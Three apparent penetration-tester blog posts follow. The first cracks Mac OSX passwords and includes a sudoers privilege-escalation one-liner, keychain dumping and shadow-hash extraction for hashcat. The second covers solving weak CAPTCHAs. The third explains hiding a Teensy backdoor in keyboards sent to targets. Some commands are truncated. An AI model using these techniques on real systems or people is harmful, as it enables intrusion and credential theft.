Mac OSX Password Cracking

Mac OSX Password Cracking

TL;DR: There are several ways to enumerate information from a Mac shell and to collect encrypted credentials for OSX password cracking.

Problem and Rationale

During a recent assessment the client had close to 10,000 Mac OSX systems throughout their global presence. All of these Macs were authenticating to Active Directory and allowed all logged in users local admin rights; via a misconfigured sudoers rule. Since this blog is lacking any real reference material specifically for OSX, I figured I would detail the information gathering and attacks I preformed during the assessment.

Attacks and Methodology

The default base install of Apple OSX will allow the primary user configured on that workstation to sudo to  root. When Active Directory backed authentication is used, newly logged in users can inherit the primary user role if system defaults are not changed. This would effectively make all domain users local admins on all of the affected Macs. This is good news since root level permission is required to pull local password hashes.

If the OSX systems do not use AD authentication don’t fret. By default the SSH server is enabled and it does not have any lock outs on failed login attempts. If all else fails, physical attacks still work very well against OSX. Just walk up to one and hold Command+S during boot to log into a single user root terminal. If the system isn’t using full disk encryption you can simply copy files over to a USB flash drive.

Once you have a terminal on a Mac, it’s good to check user and group memberships. Again, if the user is a part of the admin group they can sudo by default; and if they are part of the wheel group they are effectively root.The following is a list of useful commands to use when in a terminal:

dscl . -list /Users #List local users
dscl . -list /Groups #List local groups
dscl . -read /Groups/<Groupname> #List local group membership
dscl . -read /Users/<usersname> #List a user’s information and settings

Note: The commands above all have a target of ‘.’ or ‘localhost’. If the system is connected to Active Directory it can be queried in a similar manner.To list all Domain Admins use the following command:

dscl /Active\ Directory/<domain>/<domain.local> -list /Groups/Domain\ Admins

If the user doesn’t have sudo or root privileges, you can try to elevate to root privileges with one of several local privilege escalation vulnerabilities. Some recent noteworthy options include CVE-2015-5889, CVE-2015-1130, or just use some of the Yosemite environment variables like the following:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

If the device is up to date on its patches about all one can do is some file pillaging. The two things I would note are Apple scripts (.scpt) and property list (.plist) files are very popular in OSX. Both file types are stored to disk as binary files. As such they need to be converted back to ASCII, to be human readable.
To view the contents of an Apple script file use a command like:

osadecode logon.scpt

To convert a .plist file from binary to its native XML use a command like:

plutil -convert xml1 /path/to/file.plist

Note: plutil will convert files in place, so take care to make copies of files you’re working with.Alternatively the plist files can be exfiltrated to Kali and converted to XML using the libplist-utils library. The conversion command might look something like this:

plistutil -i user.plist -o user.xml

If root level access is acquired, we can go straight after the local user’s plist files. Each user’s plist file contains their individual settings and their encrypted credentials. The directory that contains all local users’ plist files is /private/var/db/dslocal/nodes/Default/users/.
If another user is currently logged into the system, the user’s keychain can be dumped by root. This will provide clear text access to all saved credentials, iCloud keys, the file vault encryption key, and the user’s clear text password. To dump the users keychain use a security command like:

security dump-keychain -d /Users/<user>/Library/Keychains/login.keychain

WARNING: In newer versions of OSX this will generate a dialog box on the user’s screen. This will obviously alert the user and only produce usable output if the user accepts.

OSX Password Cracking

There are several ways to gain access to the encrypted shadow data, which is needed to conduct OSX password cracking. Two of them have already been mentioned above. If you have root access preform a dscl . -read /Users/<user> or if you grab the users plist file from /private/var/db/dslocal/nodes/Default/users/ and covert it to XML, there will be a XML element called ShadowHashData. The ShadowHashData is a base64 encoded blob containing a plist file with the base64 encoded entropy, salt, and iterations within it.

Note: Before the base64 can be cleanly decoded in each of these steps, the XML elements, spaces, and line breaks will need to be removed manually.
The first step is to extract the plist file form the shadow hash data and convert it back to XML. This can be done with the following commands:

echo "<hash data>" | base64 -D > shadowhash
file shadowhash
plutil -convert xml1 shadowhash

Next cleanup and convert the base64 encoded entropy to hex format. This can be done with the following commands:

echo "<entropy data>" | base64 -D > entropy
file entropy
xxd entropy

Third cleanup and convert the base64 encoded salt to hex format. This can be completed with the following set of commands:

echo "<salt data>" | base64 -D > salt
file salt
xxd salt

Next we can put all the hex value strings together into the following hashcat format (7100).


Lastly put that baby in hashcat as OSX v10.8/v10.9 and watch it burn.

./ -m 7100 hash.txt wordlist.txt

As Always:


Decoding Weak CAPTCHA’s

Decoding Weak CAPTCHA’s

TLDR; Weak CAPTCHA services utilized on the internet can be programmatically solved with a fairly high success rate.


A lot of firms, including mine, have begun to recommended CAPTCHA’s be used on all web forms which feed into existing business processes (registration pages, contact pages, etc). This recommendation can be a double edged sword, because there are still several CAPTCHA services that utilize weak CAPTCHA’s, which can be readily decoded with modern image analysis techniques. That being said several individuals have asked if there is a systematic way to test the strength of a given CAPTCHA, to determine weather it’s weak or not.


There are two major methodologies currently being widely used to  decode weak CAPTCHA’s. The first technique is to remove the noise from CAPTCHA images by reversing the programmatic functions, used to add visual abstractions. Then simply comparing each character to a set of known sample characters. This method relays heavily on evaluating each weak CAPTCHA service offering and creating reliable function sets to solve individual CAPTCHA’s. The best tool for using this technique to test for known weak CAPTCHA types is pwntcha.

The second methodology uses vector based image analysis to compare each pixels location to the expected location given, each possible character. After consolidating all of these pixel location checks, each possible character is ranked based on its probability of being correct.  The success of this method relays heavily on the use of a reference font, thus if the reference font and the CAPTCHA’s font are distantly different the analysis won’t go well. The best freely available tool I’ve found using this technique to test the strength of CAPTCHA’s is captcha-decoder.

How to use

Unfortunately almost every implementation of CAPTCHA’s is going to be different enough to make web scrapping a sample set of CAPTCHA images difficult. Thus the first step is always going to be downloading three to five CAPTCHA images for testing.

Then we can run each image through pwntcha and see if it can identify the image as a known weak CAPTCHA type.

Pwntcha <img>

Test run using Paypal’s known weak CAPTCHA samples 100/100

Test run of vBullentin’s known weak CAPTCHA samples 100/100

Last we can run captcha-decoder on each of the sample images to try and get an idea if vector based analysis is going to be successful.  You will have to use your best judgment once you receive the results to determine if the risk is high enough to create an issue. Generally if all the correct letters are guessed with over 70% confidence the CAPTCHA should be considered weak. However an organization may believe 70% is too high and may only have a much lower tolerance.

decaptcha <img or img url> –min 0 –max 20 –limit 5 –channels 5 –tolerance 7

Current font test image on mondor (a public API and web resource site)

So here in this case the variable boldness of the letters tricked the vector analysis into thinking the K was an X and the L was an I.


Pwntcha known compiling issues
Note: if you have an issue with bootstrap, edit the bootstrap file to include automake version 13 and 14.
Captcha-decoder –
Note: if you have an issue with installing, make sure the python-dev system package is installed.

Giving a Blackwidow it’s “Teensy” Fangs

Giving a Blackwidow it’s “Teensy” Fangs: How to Install Hardware Backdoors within Modern Keyboards

TLDR; It is very possible to place a Teensy within modern keyboards and mice as a hardware backdoors in order to implant a Trojan on a targets computer.

Warning #1: Please understand that working with electrical equipment and components is inherently dangerous. Burns, shocks, and electrical fires are fairly common when attempting to manipulate commercial/consumer grade electronics.

Warning #2: The author of this article claims no responsibility for personal harm or damage to personal property. This information is provided as is and without merit or warranty.


Some of our tougher targets have gotten very good at detecting and shutting down our normal social engineering attack vectors. In fact several are now able to systematically detect and shutdown our classic, emails, phone calls, and media drops Trojans. Once a client has established a strong defense against our standard attack vectors we are at somewhat of a loss as to how to approach social engineering. This has forced our team to come up with new and innovative ways to get in and get access.


My innovative idea is a new twist on an older poly idea, the hardware backdoor. Where one actually solders malicious hardware into another hardware system to gain access. This is normally done to subvert security controls such as drive encryption or to maintain access to a computing system.

However I’m not the NSA, nor am I am electrical engineering, so instead of attempting to compromise an entire computing system, I set out to simply place a hardware device within a keyboard. The idea being that I could purchase a few higher end keyboards, backdoor them, and send them out as gifts to targeted individuals. I quickly discovered a cheap Arduino based keyboard controller called Teensy and set out on my quest.

After conducting some further research, I quickly realized why we don’t see this attack vector being used in the wild. I won’t go into complete detail on every discovered issue, but a brief list is as follows.

  • Most keyboards are now soft-key using two sheets of conductive plastic and a rubber boot to trigger a key-press.
  • Space is normally very limited and many keyboard types such as soft-key don’t handle added pressure well.
  • Creating a custom keyboard or even a DYI 60% (uses a modern PCB with built in controller), is very time consuming and expensive.
  • Keyboards now use proprietary layouts and controllers which make tampering with them difficult.
  • Almost all mechanical and soft-touch keyboards are now made with a dual or triple layer PCB, adding literally layers of complexity.
  • Simply splicing a device in the middle of the USB connection creates added complexity by requiring the handling of serial timing, errors, and interrupters.

Needless to say, I had to simplify my plan even further. So I narrowed my focus to Cherry MX mechanical keyboards with built in USB hub ports. Since the Cherry MX keys are extremely sought after and conveniently take up quite a bit of space, it should be fairly easy to tuck the quarter sized Teensy into some free space. Additionally, if there is already a USB hub built into the keyboard controller, I can simply add the device inside by soldering the Teensy directly to the internal leads.

Note: Using this method is quick and dirty. It will take over said USB ports communication path and power channel. If another USB is plugged into the target port, best case scenario one of the two devices doesn’t power up, worst case you have yourself a nice little electrical fire. As such I would recommend clipping the pins or putting a plastic cover over the original USB hole.

The last step is simply programing the Teensy, which is somewhat out of the scope of this article, due to complexity and lack of one size fits all payload. However the Social Engineering Toolkit (SET) contains a great of code to use as a starting point (linked bellow in references).

Note: Creating payloads requires the Arduino IDE with the Teensy library’s, modules, and extensions installed. You also require direct access to the Teensy via a micro-USB cable. Meaning VMware and the aforementioned hub setup should be avoided when compiling and uploading your payload.

Blackwidow Photos

Unfortunately the project for which I backdoored the Razer Blackwidow Ultimate had a fairly tight time table and did not allow for me to get very good photos. Nonetheless, I’ve included two of the better photos I have of the Blackwidow, to show that the same techniques can be successfully applied to modern keyboards as well.

Showing the completed build out of the Blackwidow with the Micro-USB attached to the single set of USB leads on the builtin controller.
Teensy within Blackwidow

This photo shows the limited space within the Blackwidow shell. In fact the cable as to be flush with the PCB corner in order to get the case to close. Then the Teensy itself  has to be firmly placed in an angle between the row of F-keys and the back wall of the lower plastic frame. In future builds I’ll likely just shave/grind down the plastic frame and or PCB to make things fit more precisely.
Teensy tucked within Blackwidow

About the Teensy

The Teensy is a quarter sized fully programmable keyboard controller based on the open Arduino hardware standards. The Teensy allows for complete control over the keyboard, mouse, and touch screen via pseudo C code. It allows for roughly 30,000 lines of compiled code and roughly 60MB of on board storage, so we can accomplish quite a bit. It also is designed and built in such a way to allow for it to be easily extensible by offering 54 leads/pins for project flexibility. The Teensy also operates at as low as 3.3 volts with .25 amps and as high as 6 volts with 1 amp, making it robust enough to be connected directly to a powered or unpowered USB hub/port within a keyboard or mouse.
Offical Teensy Pin Layout

A Simplified How To Guide

The photos below are of a generic HP console keyboard being backdoored. This is simply because I happened to have it laying around and it awarded me the time and error tolerance required to provide detailed photos and guidance. As stated, they same steps can generally be followed on a Blackwidow, however the components are quite a bit smaller and space is more limited, making it much harder to work with and display.

The first step is fairly simple, just take all the screws out of the back of the keyboard and pop the back cover off. Just be very careful to not damage any of the components or parts, including the tiny plastic tabs that normally seal the edges.
Opening a Modern keyboard
Next identify the USB port to target by considering surrounding space and ease of access. Here I’ve chosen to use the forward set of pins since there is more space and avoids the lower screw hole/ground.
Viewing Configuration of onboard USB Hub
Next review the orientation and contacts of the female USB port to identify each lead against the USB standard. In this case the leads were on the lower portion of separator within the female USB port.These leads are just copper or aluminum that normally just have a 90 degree bend and connects straight down on the bottom of the board. In my case the leads simply passed straight through to the bottom USB port and were arranged in order from 1 to 4.
Viewing Pin-out of onboard USB Hub
Next cut a micro USB cable to the needed length, remove the shielding, remove the netting, untwist the wires, and strip the ends of each of the four wires. Then be sure to cut away all of the excess shielding and netting, so it doesn’t get in the way going forward.
Preparing USB wires for Teensy
In my case, each of the striped wires had dozens of tiny aluminum wires within them, instead of a single copper core. This can make keeping these wires together while soldering really annoying, but can also be used to your advantage by soldering the smaller wires together into a nice single bundle. The bundle makes soldering easier and the excess solder soaked up by the wires, normal removed to need to add additional solder when connecting the wires.
Combining Aluminum Wires Together
Once all the bundles are complete, they should all be soldered together and have a small ball on the ends. The ball on the end is used to quickly heat up each joint with the soldering iron and to quickly set the wire on the lead by holding it in place for a few seconds. If you are sensitive to heat, you may want to use some metal clips or helping hands.
Preparing Aluminum Wires
Be sure to double and triple check your solders against the USB wiring standard before testing, to avoid electrical fires.
USB Standards

Note: For those who may not know how to solder or need a refresher, I’ve included a info-graphic bellow that I think provides enough information to hit the group running.

Solder Guidance
Once all the wires are soldered into place, simply make sure none of the surrounding leads are jumped or damaged and then run some tests to verify the system works as intended. In my case I had an issue with the ground initially and the Teensy was not receiving power, so always test thoroughly.
Connecting Teensy to USB Hub
Once everything tests okay, find the best placement for the Teensy and secure the cable, Teensy, and solders with hot glue and/or electrical tape. In my case I had originally wanted to place my Teensy on the left side of the USB but the cable was too large for the sharp corner. Instead I carefully adjusted the cable over to the right under the USB hub cable.
Cleaning up Teensy Cable Connections
Once the Teensy and cable are secured in place, run some additional tests, to ensure nothing was damage then button everything up. Just note as stated earlier, you will need to remove the Teensy in order to properly connect it directly for development of your payload.
Hiding Teensy under USB Cable
The next image shows the Teensy hidden away under the USB hub cable. Just be careful about placing the Teensy on its face, as seen here, due to the payload launch button on the face. If its compressed it will continuously fire the payload until power is removed or all of the Teensy’s resources are locked up.

Teensy Under USB Hub Cable


As always I want to include references as a massive thank you to the community at large. I couldn’t have done this without their help, support, and knowledge.

PJRC makers of the Teensy:

USB Standard Pin-outs:

Teensy Payloads by TrustedSec:

Arduino References:

Blackwidow Disassembly video:

How to Solder:—through-hole-soldering